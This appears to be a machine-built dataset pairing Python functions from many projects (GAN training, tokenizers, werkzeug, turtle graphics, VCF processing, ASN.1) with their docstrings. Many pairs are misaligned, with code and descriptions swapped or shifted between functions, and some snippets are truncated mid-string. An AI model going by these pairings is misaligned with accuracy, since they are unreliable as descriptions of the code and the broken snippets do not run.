self.config[\"lambda_adv\"] * adv_lossself.total_train_loss[\"train/spectral_convergence_loss\"] += sc_loss.item()self.total_train_loss[\"train/log_stft_magnitude_loss\"] += mag_loss.item()self.total_train_loss[\"train/generator_loss\"] += gen_loss.item()# update generatorself.optimizer[\"generator\"].zero_grad()gen_loss.backward()if self.config[\"generator_grad_norm\"] > 0:torch.nn.utils.clip_grad_norm_(self.model[\"generator\"].parameters(),self.config[\"generator_grad_norm\"])self.optimizer[\"generator\"].step()self.scheduler[\"generator\"].step()######################## Discriminator ########################if self.steps > self.config[\"discriminator_train_start_steps\"]:# calculate discriminator lossp = self.model[\"discriminator\"](y.unsqueeze(1))p_ = self.model[\"discriminator\"](y_.unsqueeze(1).detach())if not isinstance(p, list):# for standard discriminatorreal_loss = self.criterion[\"mse\"](p, p.new_ones(p.size()))fake_loss = self.criterion[\"mse\"](p_, p_.new_zeros(p_.size()))dis_loss = real_loss + fake_lossself.total_train_loss[\"train/real_loss\"] += real_loss.item()self.total_train_loss[\"train/fake_loss\"] += fake_loss.item()self.total_train_loss[\"train/discriminator_loss\"] += dis_loss.item()else:# for multi-scale discriminatorreal_loss = 0.0fake_loss = 0.0for i in range(len(p)):real_loss += self.criterion[\"mse\"](p[i][-1], p[i][-1].new_ones(p[i][-1].size()))fake_loss += self.criterion[\"mse\"](p_[i][-1], p_[i][-1].new_zeros(p_[i][-1].size()))real_loss /= (i + 1)fake_loss /= (i + 1)dis_loss = real_loss + fake_lossself.total_train_loss[\"train/real_loss\"] += real_loss.item()self.total_train_loss[\"train/fake_loss\"] += fake_loss.item()self.total_train_loss[\"train/discriminator_loss\"] += dis_loss.item()# update discriminatorself.optimizer[\"discriminator\"].zero_grad()dis_loss.backward()if self.config[\"discriminator_grad_norm\"] > 0:torch.nn.utils.clip_grad_norm_(self.model[\"discriminator\"].parameters(),self.config[\"discriminator_grad_norm\"])self.optimizer[\"discriminator\"].step()self.scheduler[\"discriminator\"].step()# update countsself.steps += 1self.tqdm.update(1)self._check_train_finish()def _train_epoch(self):Train model one epoch."} {"code": "def _run_split_on_punc(self, text):\n chars = list(text)\n i = 0\n start_new_word = True\n output = []\n\n while i < len(chars):\n char = chars[i]\n if _is_punctuation(char):\n output.append([char])\n start_new_word = True\n else:\n if start_new_word:\n output.append([])\n start_new_word = False\n output[-1].append(char)\n i += 1\n\n if len(output) > 1:\n case_index.extend([case_index[-1]]*(len(output)-1))\n\n return [\"\".join(x) for x in output], case_index\n", "nl": "Splits punctuation on a piece of text.chars = list(text)i = 0start_new_word = Trueoutput = []while i < len(chars):char = chars[i]if _is_punctuation(char):output.append([char])start_new_word = Trueelse:if start_new_word:output.append([])start_new_word = Falseoutput[-1].append(char)i += 1return [\"\".join(x) for x in output]def _run_split_on_punc_case(self, text, case_index):Splits punctuation on a piece of text."} {"code": "def process_path(pth: Path) -> Tuple[str, str]:\n if isinstance(pth, bytes):\n p = pth.decode('utf-8')\n elif isinstance(pth, str):\n p = pth\n elif isinstance(pth, pathlib.PurePath):\n parts = pth.parts\n if pth.root not in ('', '/'):\n p = posixpath.join(*parts[1:])\n else:\n p = posixpath.join(*parts)\n elif isinstance(pth, collections.abc.Sequence):\n parts_seq = []\n for i, s in enumerate(pth):\n if isinstance(s, bytes):\n s = s.decode('utf-8')\n elif isinstance(s, pathlib.PurePath):\n s = str(s)\n elif not isinstance(s, str):\n raise TypeError('Elements of p must be str, bytes, or '\n 'pathlib.PurePath.')\n parts_seq.append(escape_path(s))\n parts = tuple(parts_seq)\n p = posixpath.join(*parts)\n else:\n raise TypeError('p must be str, bytes, pathlib.PurePath, or '\n 'an Sequence solely of one of those three.')\n\n path = posixpath.normpath(p)\n\n groupname = posixpath.dirname(path)\n targetname = posixpath.basename(path)\n\n if len(groupname) == 0:\n groupname = b'/'.decode('ascii')\n\n if len(targetname) == 0:\n targetname = b'.'.decode('ascii')\n\n return groupname, targetname", "nl": " Processes paths.Processes the provided path and breaks it into it Group part(`groupname`) and target part (`targetname`). ``bytes`` paths areconverted to ``str``. Separated paths are given as an iterable of``str`` and ``bytes``. Each part of a separated path is escapedusing ``escape_path``. Otherwise, the path is assumed to be alreadyescaped. Escaping is done so that targets with a part that startswith one or more periods, contain slashes, and/or contain nulls canbe used without causing the wrong Group to be looked in or the wrongtarget to be looked at. It essentially allows one to make a Datasetnamed ``'..'`` or ``'a/a'`` instead of moving around in the Datasethierarchy.All paths are POSIX style... versionadded:: 0.2Parameters----------pth : str or bytes or pathlib.PurePath or SequenceThe POSIX style path as a ``str`` or ``bytes`` or theseparated path in an Sequence with the elements being ``str``,``bytes``, and ``pathlib.PurePath``. For separated paths,escaping will be done on each part.Returns-------groupname : strThe path to the Group containing the target `pth` was pointingto.targetname : strThe name of the target pointed to by `pth` in the Group`groupname`.Raises------TypeErrorIf `pth` is not of the right type.See Also--------escape_path"} {"code": "def tag(request, tag_factory):\n Provide a ``hamster_lib.Activity`` factory.\n\n Note:\n * The returned activity will have a *new* category associated as well.\n * Values are randomized but *not parametrized*.\n \"\"\"", "nl": "Provide a randomized ``hamster_lib.Tag`` instance.return tag_factory()@pytest.fixturedef activity_factory(request, name, category_factory):"} {"code": "def _from(self, _from):\n\n self.__from = _from\n\n @property", "nl": "Sets the _from of this V1alpha1Artifact.From allows an artifact to reference an artifact from a previous step # noqa: E501:param _from: The _from of this V1alpha1Artifact. # noqa: E501:type: str"} {"code": "def access_route(self):\n if 'HTTP_X_FORWARDED_FOR' in self.environ:\n addr = self.environ['HTTP_X_FORWARDED_FOR'].split(',')\n return self.list_storage_class([x.strip() for x in addr])\n elif 'REMOTE_ADDR' in self.environ:\n return self.list_storage_class([self.environ['REMOTE_ADDR']])\n return self.list_storage_class()\n\n @property", "nl": "If a forwarded header exists this is a list of all ip addressesfrom the client ip to the last proxy server."} {"code": "def _build_inputs(self, image):\n\n Args:\n images: uint8 Tensor of shape [batch_size, None, None, 3]\n Returns:\n Tensor holding classification output logits.\n \"\"\"", "nl": "Builds classification model inputs for serving.# Center crops and resizes image.image = preprocess_ops.center_crop_image(image)image = tf.image.resize(image, self._input_image_size, method=tf.image.ResizeMethod.BILINEAR)image = tf.reshape(image, [self._input_image_size[0], self._input_image_size[1], 3])# Normalizes image with mean and std pixel values.image = preprocess_ops.normalize_image(image,offset=MEAN_RGB,scale=STDDEV_RGB)return imagedef serve(self, images):Cast image to float and run inference."} {"code": "def test_dunning_sim(self):\n self.assertEqual(self.cmp.dist('', ''), 0.0)\n self.assertEqual(self.cmp.dist('a', ''), 1.0)\n self.assertEqual(self.cmp.dist('', 'a'), 1.0)\n self.assertEqual(self.cmp.dist('abc', ''), 1.0)\n self.assertEqual(self.cmp.dist('', 'abc'), 1.0)\n self.assertEqual(self.cmp.dist('abc', 'abc'), 0.0)\n self.assertAlmostEqual(\n self.cmp.dist('abcd', 'efgh'), 0.9989393973264948\n )\n\n self.assertAlmostEqual(self.cmp.dist('Nigel', 'Niall'), 0.6766681604)\n self.assertAlmostEqual(self.cmp.dist('Niall', 'Nigel'), 0.6766681604)\n self.assertAlmostEqual(self.cmp.dist('Colin', 'Coiln'), 0.6766681604)\n self.assertAlmostEqual(self.cmp.dist('Coiln', 'Colin'), 0.6766681604)\n self.assertAlmostEqual(\n self.cmp.dist('ATCAACGAGT', 'AACGATTAG'), 0.53858566385\n )\n", "nl": "Test abydos.distance.Dunning.sim.# Base casesself.assertEqual(self.cmp.sim('', ''), 1.0)self.assertEqual(self.cmp.sim('a', ''), 0.0)self.assertEqual(self.cmp.sim('', 'a'), 0.0)self.assertEqual(self.cmp.sim('abc', ''), 0.0)self.assertEqual(self.cmp.sim('', 'abc'), 0.0)self.assertEqual(self.cmp.sim('abc', 'abc'), 1.0)self.assertAlmostEqual(self.cmp.sim('abcd', 'efgh'), 0.0010606026735052122)self.assertAlmostEqual(self.cmp.sim('Nigel', 'Niall'), 0.3233318396)self.assertAlmostEqual(self.cmp.sim('Niall', 'Nigel'), 0.3233318396)self.assertAlmostEqual(self.cmp.sim('Colin', 'Coiln'), 0.3233318396)self.assertAlmostEqual(self.cmp.sim('Coiln', 'Colin'), 0.3233318396)self.assertAlmostEqual(self.cmp.sim('ATCAACGAGT', 'AACGATTAG'), 0.46141433614)def test_dunning_dist(self):Test abydos.distance.Dunning.dist."} {"code": "def if_match(self):\n return parse_etags(self.environ.get('HTTP_IF_MATCH'))\n\n @cached_property", "nl": "An object containing all the etags in the `If-Match` header.:rtype: :class:`~werkzeug.datastructures.ETags`"} {"code": "def read_holding_registers(slave_id, starting_address, quantity):\n function = ReadHoldingRegisters()\n function.starting_address = starting_address\n function.quantity = quantity\n\n return _create_request_adu(slave_id, function.request_pdu)\n\n", "nl": " Return ADU for Modbus function code 03: Read Holding Registers.:param slave_id: Number of slave.:return: Byte array with ADU."} {"code": "def test_finally_in_loop(self):\n arcz=\".1 12 23 34 3D 45 56 67 68 7A 8A A3 AB BC CD D.\",\n arcz_missing=\"3D\",\n )\n self.check_coverage(\"\"\"\\\n arcz=\".1 12 23 34 3D 45 56 67 68 7A 8A A3 AB BC CD D.\",\n arcz_missing=\"67 7A AB BC CD\",\n )\n\n", "nl": "self.check_coverage(\\a, c, d, i = 1, 1, 1, 99try:for i in range(5):try:a = 5if i > 0:raise Exception(\"Yikes!\")a = 8finally:c = 10except:d = 12 # Cassert a == 5 and c == 10 and d == 12 # D,"} {"code": "def test_no_sys_import(self):\n msg = (\"Can't find sys import; Please add an atexit import at the \"\n \"top of your file.\")\n self.warns(b, a, msg)\n\n", "nl": "b = sys.exitfunc = fa = atexit.register(f)"} {"code": "def matched(self):\n return self._remain_size == 0\n", "nl": "Check if the entire file was matched.Return Value:True iff the entire file was matched"} {"code": "def test_explicit_parameters_in_docstring(self):\n self.assertEqual(\"\"\"\n", "nl": "function = self.parse_function(module foofoo.barx: intDocumentation for x.y: intThis is the documentation for foo.Okay, we're done here.)"} {"code": "def do_pt_get_ssl_cert(self, cmd_args):\n parser = argparse.ArgumentParser(usage=\"pt_get_ssl_cert\")\n parser.add_argument(\n \"queries\",\n nargs=\"+\",\n action=\"store\",\n help=\"One or more sha1 hashes to get ssl certs for\"\n )\n split_args = shlex.split(cmd_args)\n\n try:\n parsed_args = parser.parse_args(args=split_args)\n except SystemExit, e:\n if str(e) != \"0\":\n log.error(\n \"Invalid argument for query (use -h or --help \" +\n \"to see command options)\"\n )\n return\n\n es_docs = self.passive_total.get_ssl_cert(parsed_args.queries)\n self._handle_response(es_docs)\n", "nl": "Title: PassieTotal Get SSL CertDescription: Get the SSL certificate for the given sha1Arguments: yes"} {"code": "def resnet34(**kwargs):\n return _resnet(BasicBlock, [3, 4, 6, 3], **kwargs)\n\n", "nl": "rResNet-34 model from`\"Deep Residual Learning for Image Recognition\" `_Args:pretrained (bool): If True, returns a model pre-trained on ImageNetprogress (bool): If True, displays a progress bar of the download to stderr"} {"code": "def dict_diff(prv, nxt):\n func.__dict__[\"build_test_cases\"] = True\n\n @functools.wraps(func)", "nl": "Return a dict of keys that differ with another config object.keys = set(list(prv.keys()) + list(nxt.keys()))result = {}for k in keys:if isinstance(prv.get(k), dict):if isinstance(nxt.get(k), dict):\"If both are dicts we do a recursive call.\"diff = dict_diff(prv.get(k), nxt.get(k))if diff:result[k] = diffelse:\"If only one is a dict they are clearly different\"result[k] = {\"result\": prv.get(k), \"expected\": nxt.get(k)}else:\"Ellipsis is a wildcard.\" \"\"if prv.get(k) != nxt.get(k) and nxt.get(k) != \"...\":result[k] = {\"result\": prv.get(k), \"expected\": nxt.get(k)}return resultdef wrap_test_cases(func):Wrap test cases."} {"code": "def __init__(self):\n fmt = '\\n{}'\n return fmt.format(pprint.pformat(self.variable_info))\n\n", "nl": " A variable manager that creates variables for optimization self.variable_info = {}returndef __str__(self): Print format "} {"code": "def to_str(self):\n return self.to_str()\n", "nl": "Returns the string representation of the modelreturn pprint.pformat(self.to_dict())def __repr__(self):For `print` and `pprint`"} {"code": "def unit_max_shield(self, unit):\n m = self._move_amount / 2\n\n if direction == Direction.NORTH:\n x, y = int(unit.pos.x), int(unit.pos.y + m)\n elif direction == Direction.SOUTH:\n x, y = int(unit.pos.x), int(unit.pos.y - m)\n elif direction == Direction.EAST:\n x, y = int(unit.pos.x + m), int(unit.pos.y)\n else:\n x, y = int(unit.pos.x - m), int(unit.pos.y)\n\n if self.check_bounds(x, y) and self.pathing_grid[x, y]:\n return True\n\n return False\n", "nl": "Returns maximal shield for a given unit.if unit.unit_type == 74 or unit.unit_type == self.stalker_id:return 80 # Protoss's Stalkerif unit.unit_type == 73 or unit.unit_type == self.zealot_id:return 50 # Protoss's Zealotif unit.unit_type == 4 or unit.unit_type == self.colossus_id:return 150 # Protoss's Colossusif unit.unit_type == 77 or unit.unit_type == self.sentry_id:return 40 # Protoss's Sentryif unit.unit_type == self.void_ray_id:return 100 # Protoss's Void Raydef can_move(self, unit, direction):Whether a unit can move in a given direction."} {"code": "def assert_(val, msg=''):\n if not val:\n try:\n smsg = msg()\n except TypeError:\n smsg = msg\n raise AssertionError(smsg)\n", "nl": "Assert that works in release mode.Accepts callable msg to allow deferring evaluation until failure.The Python built-in ``assert`` does not work when executing code inoptimized mode (the ``-O`` flag) - no byte-code is generated for it.For documentation on usage, refer to the Python documentation."} {"code": "def pen(self, pen=None, **pendict):\n _pd = {\"shown\" : self._shown,\n \"pendown\" : self._drawing,\n \"pencolor\" : self._pencolor,\n \"fillcolor\" : self._fillcolor,\n \"pensize\" : self._pensize,\n \"speed\" : self._speed,\n \"resizemode\" : self._resizemode,\n \"stretchfactor\" : self._stretchfactor,\n \"shearfactor\" : self._shearfactor,\n \"outline\" : self._outlinewidth,\n \"tilt\" : self._tilt\n }\n\n if not (pen or pendict):\n return _pd\n\n if isinstance(pen, dict):\n p = pen\n else:\n p = {}\n p.update(pendict)\n\n _p_buf = {}\n for key in p:\n _p_buf[key] = _pd[key]\n\n if self.undobuffer:\n self.undobuffer.push((\"pen\", _p_buf))\n\n newLine = False\n if \"pendown\" in p:\n if self._drawing != p[\"pendown\"]:\n newLine = True\n if \"pencolor\" in p:\n if isinstance(p[\"pencolor\"], tuple):\n p[\"pencolor\"] = self._colorstr((p[\"pencolor\"],))\n if self._pencolor != p[\"pencolor\"]:\n newLine = True\n if \"pensize\" in p:\n if self._pensize != p[\"pensize\"]:\n newLine = True\n if newLine:\n self._newLine()\n if \"pendown\" in p:\n self._drawing = p[\"pendown\"]\n if \"pencolor\" in p:\n self._pencolor = p[\"pencolor\"]\n if \"pensize\" in p:\n self._pensize = p[\"pensize\"]\n if \"fillcolor\" in p:\n if isinstance(p[\"fillcolor\"], tuple):\n p[\"fillcolor\"] = self._colorstr((p[\"fillcolor\"],))\n self._fillcolor = p[\"fillcolor\"]\n if \"speed\" in p:\n self._speed = p[\"speed\"]\n if \"resizemode\" in p:\n self._resizemode = p[\"resizemode\"]\n if \"stretchfactor\" in p:\n sf = p[\"stretchfactor\"]\n if isinstance(sf, (int, float)):\n sf = (sf, sf)\n self._stretchfactor = sf\n if \"shearfactor\" in p:\n self._shearfactor = p[\"shearfactor\"]\n if \"outline\" in p:\n self._outlinewidth = p[\"outline\"]\n if \"shown\" in p:\n self._shown = p[\"shown\"]\n if \"tilt\" in p:\n self._tilt = p[\"tilt\"]\n if \"stretchfactor\" in p or \"tilt\" in p or \"shearfactor\" in p:\n scx, scy = self._stretchfactor\n shf = self._shearfactor\n sa, ca = math.sin(self._tilt), math.cos(self._tilt)\n self._shapetrafo = ( scx*ca, scy*(shf*ca + sa),\n -scx*sa, scy*(ca - shf*sa))\n self._update()\n\n", "nl": "Return or set the pen's attributes.Arguments:pen -- a dictionary with some or all of the below listed keys.**pendict -- one or more keyword-arguments with the belowlisted keys as keywords.Return or set the pen's attributes in a 'pen-dictionary'with the following key/value pairs:\"shown\" : True/False\"pendown\" : True/False\"pencolor\" : color-string or color-tuple\"fillcolor\" : color-string or color-tuple\"pensize\" : positive number\"speed\" : number in range 0..10\"resizemode\" : \"auto\" or \"user\" or \"noresize\"\"stretchfactor\": (positive number, positive number)\"shearfactor\": number\"outline\" : positive number\"tilt\" : numberThis dictionary can be used as argument for a subsequentpen()-call to restore the former pen-state. Moreover oneor more of these attributes can be provided as keyword-arguments.This can be used to set several pen attributes in one statement.Examples (for a Turtle instance named turtle):>>> turtle.pen(fillcolor=\"black\", pencolor=\"red\", pensize=10)>>> turtle.pen(){'pensize': 10, 'shown': True, 'resizemode': 'auto', 'outline': 1,'pencolor': 'red', 'pendown': True, 'fillcolor': 'black','stretchfactor': (1,1), 'speed': 3, 'shearfactor': 0.0}>>> penstate=turtle.pen()>>> turtle.color(\"yellow\",\"\")>>> turtle.penup()>>> turtle.pen(){'pensize': 10, 'shown': True, 'resizemode': 'auto', 'outline': 1,'pencolor': 'yellow', 'pendown': False, 'fillcolor': '','stretchfactor': (1,1), 'speed': 3, 'shearfactor': 0.0}>>> p.pen(penstate, fillcolor=\"green\")>>> p.pen(){'pensize': 10, 'shown': True, 'resizemode': 'auto', 'outline': 1,'pencolor': 'red', 'pendown': True, 'fillcolor': 'green','stretchfactor': (1,1), 'speed': 3, 'shearfactor': 0.0}"} {"code": "def _postprocess_somatic(in_file, paired):\n out_file = in_file.replace(\".vcf.gz\", \"-fixed.vcf\")\n if not utils.file_exists(out_file) and not utils.file_exists(out_file + \".gz\"):\n with file_transaction(paired.tumor_data, out_file) as tx_out_file:\n with utils.open_gzipsafe(in_file) as in_handle:\n with open(tx_out_file, \"w\") as out_handle:\n added_gt = False\n normal_index, tumor_index = (None, None)\n for line in in_handle:\n if line.startswith(\"\n added_gt = True\n out_handle.write('\n out_handle.write(line)\n elif line.startswith(\"\n assert added_gt\n parts = line.strip().split(\"\\t\")\n normal_index = parts.index(\"NORMAL\")\n tumor_index = parts.index(\"TUMOR\")\n line = line.replace(\"NORMAL\", paired.normal_name).replace(\"TUMOR\", paired.tumor_name)\n out_handle.write(line)\n elif line.startswith(\"\n out_handle.write(line)\n else:\n parts = line.rstrip().split(\"\\t\")\n tumor_gt, normal_gt = _tumor_normal_genotypes(parts[3], parts[4].split(\",\"),\n parts[7].split(\";\"), in_file, parts[:2])\n parts[8] = \"GT:%s\" % parts[8]\n parts[normal_index] = \"%s:%s\" % (normal_gt, parts[normal_index])\n parts[tumor_index] = \"%s:%s\" % (tumor_gt, parts[tumor_index])\n out_handle.write(\"\\t\".join(parts) + \"\\n\")\n return vcfutils.bgzip_and_index(out_file, paired.tumor_data[\"config\"])\n", "nl": "Post-process somatic calls to provide standard output.- Converts SGT and NT into standard VCF GT fields- Replace generic TUMOR NORMAL names in VCF with sample names."} {"code": "def fetch(self, payment_link_id, data={}, **kwargs):\n return super(PaymentLink, self).fetch(payment_link_id, data, **kwargs)\n", "nl": "\"Fetch Payment link for given IdArgs:payment_link_id : Id for which Payment link object has to be retrievedReturns:Payment link dict for given payment_link_id Id"} {"code": "def load_yaml_with_base(filename: str, allow_unsafe: bool = False):\n with PathManager.open(filename, \"r\") as f:\n try:\n cfg = yaml.safe_load(f)\n except yaml.constructor.ConstructorError:\n if not allow_unsafe:\n raise\n logger = logging.getLogger(__name__)\n logger.warning(\n \"Loading config {} with yaml.unsafe_load. Your machine may \"\n \"be at risk if the file contains malicious content.\".format(\n filename\n )\n )\n f.close()\n with open(filename, \"r\") as f:\n cfg = yaml.unsafe_load(f)\n", "nl": "Just like `yaml.load(open(filename))`, but inherit attributes from its`_BASE_`.Args:filename (str): the file name of the current config. Will be used tofind the base config file.allow_unsafe (bool): whether to allow loading the config file with`yaml.unsafe_load`.Returns:(dict): the loaded yaml"} {"code": "def _get_task_manager_mode(self) -> str:\n return (\n self._task_manager_mode\n if self._task_manager_mode is not None\n else self.DEFAULT_TASKMANAGER_MODE\n )\n", "nl": "Return the askmanager mode name.:return: the taskmanager mode name"} {"code": "def serialize(self):\n", "nl": "Return string representation for VCFif self.mate_chrom is None:remote_tag = \".\"else:if self.within_main_assembly:mate_chrom = self.mate_chromelse:mate_chrom = \"<{}>\".format(self.mate_chrom)tpl = {FORWARD: \"[{}:{}[\", REVERSE: \"]{}:{}]\"}[self.mate_orientation]remote_tag = tpl.format(mate_chrom, self.mate_pos)if self.orientation == FORWARD:return remote_tag + self.sequenceelse:return self.sequence + remote_tagdef __eq__(self, other):if isinstance(other, self.__class__):return self.__dict__ == other.__dict__return NotImplementeddef __ne__(self, other):if isinstance(other, self.__class__):return not self.__eq__(other)return NotImplementeddef __hash__(self):return hash(tuple(sorted(self.__dict__.items())))def __str__(self):tpl = \"BreakEnd({})\"vals = [self.mate_chrom,self.mate_pos,self.orientation,self.mate_orientation,self.sequence,self.within_main_assembly,]return tpl.format(\", \".join(map(repr, vals)))def __repr__(self):return str(self)class SingleBreakEnd(BreakEnd):A placeholder for a single breakend"} {"code": "def get_all_tasks(self):\n all_tasks = set(self.tasks)\n new_tasks = self.tasks\n while len(new_tasks) > 0:\n next_tasks = set()\n for t in new_tasks:\n for d in t.get_deps():\n if d not in all_tasks:\n next_tasks.add(d)\n all_tasks.add(d)\n new_tasks = next_tasks\n\n return all_tasks\n", "nl": "Get all tasks that this pipeline uses"} {"code": "def test_batch_predict(self):\n\n self._logger.debug('Starting Local Batch Predict')\n model_dir = self._create_model('model2')\n test_data = self._create_test_data(embedding_images=True, missing_values=True, csv_data=True)\n prediction_source = os.path.join(self._test_dir, 'prediction.csv')\n output_dir = os.path.join(self._test_dir, 'prediction_output')\n with open(prediction_source, 'w') as f:\n f.write('\\n'.join(test_data))\n\n mlw.local_batch_predict(model_dir, prediction_source, output_dir, 'csv', batch_size=2)\n self._validate_schema_file(output_dir)\n\n prediction_results_file = os.path.join(output_dir, 'predict_results_prediction.csv')\n df = pd.read_csv(prediction_results_file, header=None, names=['key', 'var1', 'var2'])\n self.assertEqual(3, len(df.index))\n self.assertEqual([1, 2, 5], list(df['key']))\n\n mlw.local_batch_predict(model_dir, prediction_source, output_dir, 'json', batch_size=1)\n self._validate_schema_file(output_dir)\n\n prediction_results_file = os.path.join(output_dir, 'predict_results_prediction.json')\n results = []\n with open(prediction_results_file, 'r') as f:\n for l in f:\n results.append(json.loads(l))\n\n self.assertEqual(3, len(results))\n self.assertEqual([1, 2, 5], [x['key'] for x in results])\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": " Test batch prediction on a model which accepts CSV lines \"int64,float32,text,image_url\"."} {"code": "def delete(self, skill_id, errors=None):\n\n Args:\n skill_id. The id of the skill to find prerequisites of.\n\n Returns:\n list of Skill.\n \"\"\"", "nl": "Remove a skill from the skill map._assert(skill_id in self._skills,'Skill is not present in the skill map', errors,'skill-prerequisites')successors = self.successors(skill_id)# pylint: disable=protected-accessfor successor in successors:prerequisite_ids = successor.prerequisite_idsprerequisite_ids.remove(skill_id)successor._set_prerequisite_ids(prerequisite_ids)_SkillDao.delete(self._skills[skill_id])_SkillDao.save_all(successors)del self._skills[skill_id]self._rebuild()# pylint: enable=protected-accessdef prerequisites(self, skill_id):Get the immediate prerequisites of the given skill."} {"code": "def test_n_mean(self, dataset):\n allowed = [\"orbits\", \"events\"]\n assert dataset.unit in allowed\n", "nl": "Test if mean photon number is valid float or int for each datasetassert isinstance(dataset.n_mean, (float, int))assert dataset.n_mean >= 0def test_unit(self, dataset):Test if unit is a valid string for each dataset"} {"code": "def _count_nodes(file_path):\n context = etree.iterparse(file_path, events=(\"start\", \"end\"))\n\n _, root = next(context)\n\n n_nodes = 0\n n_trees = 0\n for event, elem in context:\n if event != \"end\":\n continue\n if elem.tag == 'Tree':\n n_trees += 1\n elif elem.tag == 'SplitFeatures' or elem.tag == 'LeafOutputs':\n n_nodes += len(elem.text.split(\" \"))\n\n elem.clear()\n root.clear()\n\n return n_trees, n_nodes", "nl": "Count the total number of nodes (both split and leaf nodes)in the model identified by file_path.Parameters----------file_path : strThe path to the filename where the model has been savedReturns-------tuple(n_trees, n_nodes) : tuple(int, int)The total number of trees and nodes (both split and leaf nodes)in the model identified by file_path."} {"code": "def sha256(self):\n\n if self._sha256 is None:\n self._sha256 = hashlib.sha256(self.dump()).digest()\n return self._sha256\n\n\nclass AnotherName(Sequence):\n _fields = [\n ('type_id', ObjectIdentifier),\n ('value', Any, {'tag_type': 'explicit', 'tag': 0}),\n ]\n\n\nclass CountryName(Choice):\n class_ = 1\n tag = 1\n\n _alternatives = [\n ('x121_dcc_code', NumericString),\n ('iso_3166_alpha2_code', PrintableString),\n ]\n\n\nclass AdministrationDomainName(Choice):\n class_ = 1\n tag = 2\n\n _alternatives = [\n ('numeric', NumericString),\n ('printable', PrintableString),\n ]\n\n\nclass PrivateDomainName(Choice):\n _alternatives = [\n ('numeric', NumericString),\n ('printable', PrintableString),\n ]\n\n\nclass PersonalName(Set):\n _fields = [\n ('surname', PrintableString, {'tag_type': 'implicit', 'tag': 0}),\n ('given_name', PrintableString, {'tag_type': 'implicit', 'tag': 1, 'optional': True}),\n ('initials', PrintableString, {'tag_type': 'implicit', 'tag': 2, 'optional': True}),\n ('generation_qualifier', PrintableString, {'tag_type': 'implicit', 'tag': 3, 'optional': True}),\n ]\n\n\nclass TeletexPersonalName(Set):\n _fields = [\n ('surname', TeletexString, {'tag_type': 'implicit', 'tag': 0}),\n ('given_name', TeletexString, {'tag_type': 'implicit', 'tag': 1, 'optional': True}),\n ('initials', TeletexString, {'tag_type': 'implicit', 'tag': 2, 'optional': True}),\n ('generation_qualifier', TeletexString, {'tag_type': 'implicit', 'tag': 3, 'optional': True}),\n ]\n\n\nclass OrganizationalUnitNames(SequenceOf):\n _child_spec = PrintableString\n\n\nclass TeletexOrganizationalUnitNames(SequenceOf):\n _child_spec = TeletexString\n\n\nclass BuiltInStandardAttributes(Sequence):\n _fields = [\n ('country_name', CountryName, {'optional': True}),\n ('administration_domain_name', AdministrationDomainName, {'optional': True}),\n ('network_address', NumericString, {'tag_type': 'implicit', 'tag': 0, 'optional': True}),\n ('terminal_identifier', PrintableString, {'tag_type': 'implicit', 'tag': 1, 'optional': True}),\n ('private_domain_name', PrivateDomainName, {'tag_type': 'explicit', 'tag': 2, 'optional': True}),\n ('organization_name', PrintableString, {'tag_type': 'implicit', 'tag': 3, 'optional': True}),\n ('numeric_user_identifier', NumericString, {'tag_type': 'implicit', 'tag': 4, 'optional': True}),\n ('personal_name', PersonalName, {'tag_type': 'implicit', 'tag': 5, 'optional': True}),\n ('organizational_unit_names', OrganizationalUnitNames, {'tag_type': 'implicit', 'tag': 6, 'optional': True}),\n ]\n\n\nclass BuiltInDomainDefinedAttribute(Sequence):\n _fields = [\n ('type', PrintableString),\n ('value', PrintableString),\n ]\n\n\nclass BuiltInDomainDefinedAttributes(SequenceOf):\n _child_spec = BuiltInDomainDefinedAttribute\n\n\nclass TeletexDomainDefinedAttribute(Sequence):\n _fields = [\n ('type', TeletexString),\n ('value', TeletexString),\n ]\n\n\nclass TeletexDomainDefinedAttributes(SequenceOf):\n _child_spec = TeletexDomainDefinedAttribute\n\n\nclass PhysicalDeliveryCountryName(Choice):\n _alternatives = [\n ('x121_dcc_code', NumericString),\n ('iso_3166_alpha2_code', PrintableString),\n ]\n\n\nclass PostalCode(Choice):\n _alternatives = [\n ('numeric_code', NumericString),\n ('printable_code', PrintableString),\n ]\n\n\nclass PDSParameter(Set):\n _fields = [\n ('printable_string', PrintableString, {'optional': True}),\n ('teletex_string', TeletexString, {'optional': True}),\n ]\n\n\nclass PrintableAddress(SequenceOf):\n _child_spec = PrintableString\n\n\nclass UnformattedPostalAddress(Set):\n _fields = [\n ('printable_address', PrintableAddress, {'optional': True}),\n ('teletex_string', TeletexString, {'optional': True}),\n ]\n\n\nclass E1634Address(Sequence):\n _fields = [\n ('number', NumericString, {'tag_type': 'implicit', 'tag': 0}),\n ('sub_address', NumericString, {'tag_type': 'implicit', 'tag': 1, 'optional': True}),\n ]\n\n\nclass NAddresses(SetOf):\n _child_spec = OctetString\n\n\nclass PresentationAddress(Sequence):\n _fields = [\n ('p_selector', OctetString, {'tag_type': 'explicit', 'tag': 0, 'optional': True}),\n ('s_selector', OctetString, {'tag_type': 'explicit', 'tag': 1, 'optional': True}),\n ('t_selector', OctetString, {'tag_type': 'explicit', 'tag': 2, 'optional': True}),\n ('n_addresses', NAddresses, {'tag_type': 'explicit', 'tag': 3}),\n ]\n\n\nclass ExtendedNetworkAddress(Choice):\n _alternatives = [\n ('e163_4_address', E1634Address),\n ('psap_address', PresentationAddress, {'tag_type': 'implicit', 'tag': 0})\n ]\n\n\nclass TerminalType(Integer):\n _map = {\n 3: 'telex',\n 4: 'teletex',\n 5: 'g3_facsimile',\n 6: 'g4_facsimile',\n 7: 'ia5_terminal',\n 8: 'videotex',\n }\n\n\nclass ExtensionAttributeType(Integer):\n _map = {\n 1: 'common_name',\n 2: 'teletex_common_name',\n 3: 'teletex_organization_name',\n 4: 'teletex_personal_name',\n 5: 'teletex_organization_unit_names',", "nl": ":return:The SHA-256 hash of the DER-encoded bytes of this name"} {"code": "def updateitem(self, key, new_val):\n if key not in self._position:\n raise KeyError(key)\n self[key] = new_val\n", "nl": "Update the priority value of an existing item. Raises ``KeyError`` ifkey is not in the pqdict."} {"code": "def sim(self, src: str, tar: str) -> float:\n return max(0.0, min(1.0, self.sim_score(src, tar)))\n", "nl": "Return the normalized Chao's Dice similarity of two strings.Parameters----------src : strSource string for comparisontar : strTarget string for comparisonReturns-------floatNormalized Chao's Dice similarityExamples-------->>> import random>>> random.seed(0)>>> cmp = ChaoDice()>>> cmp.sim('cat', 'hat')0.36666666666666664>>> cmp.sim('Niall', 'Neil')0.27868852459016397>>> cmp.sim('aluminum', 'Catalan')0.0>>> cmp.sim('ATCG', 'TAGC')0.0.. versionadded:: 0.4.1"} {"code": 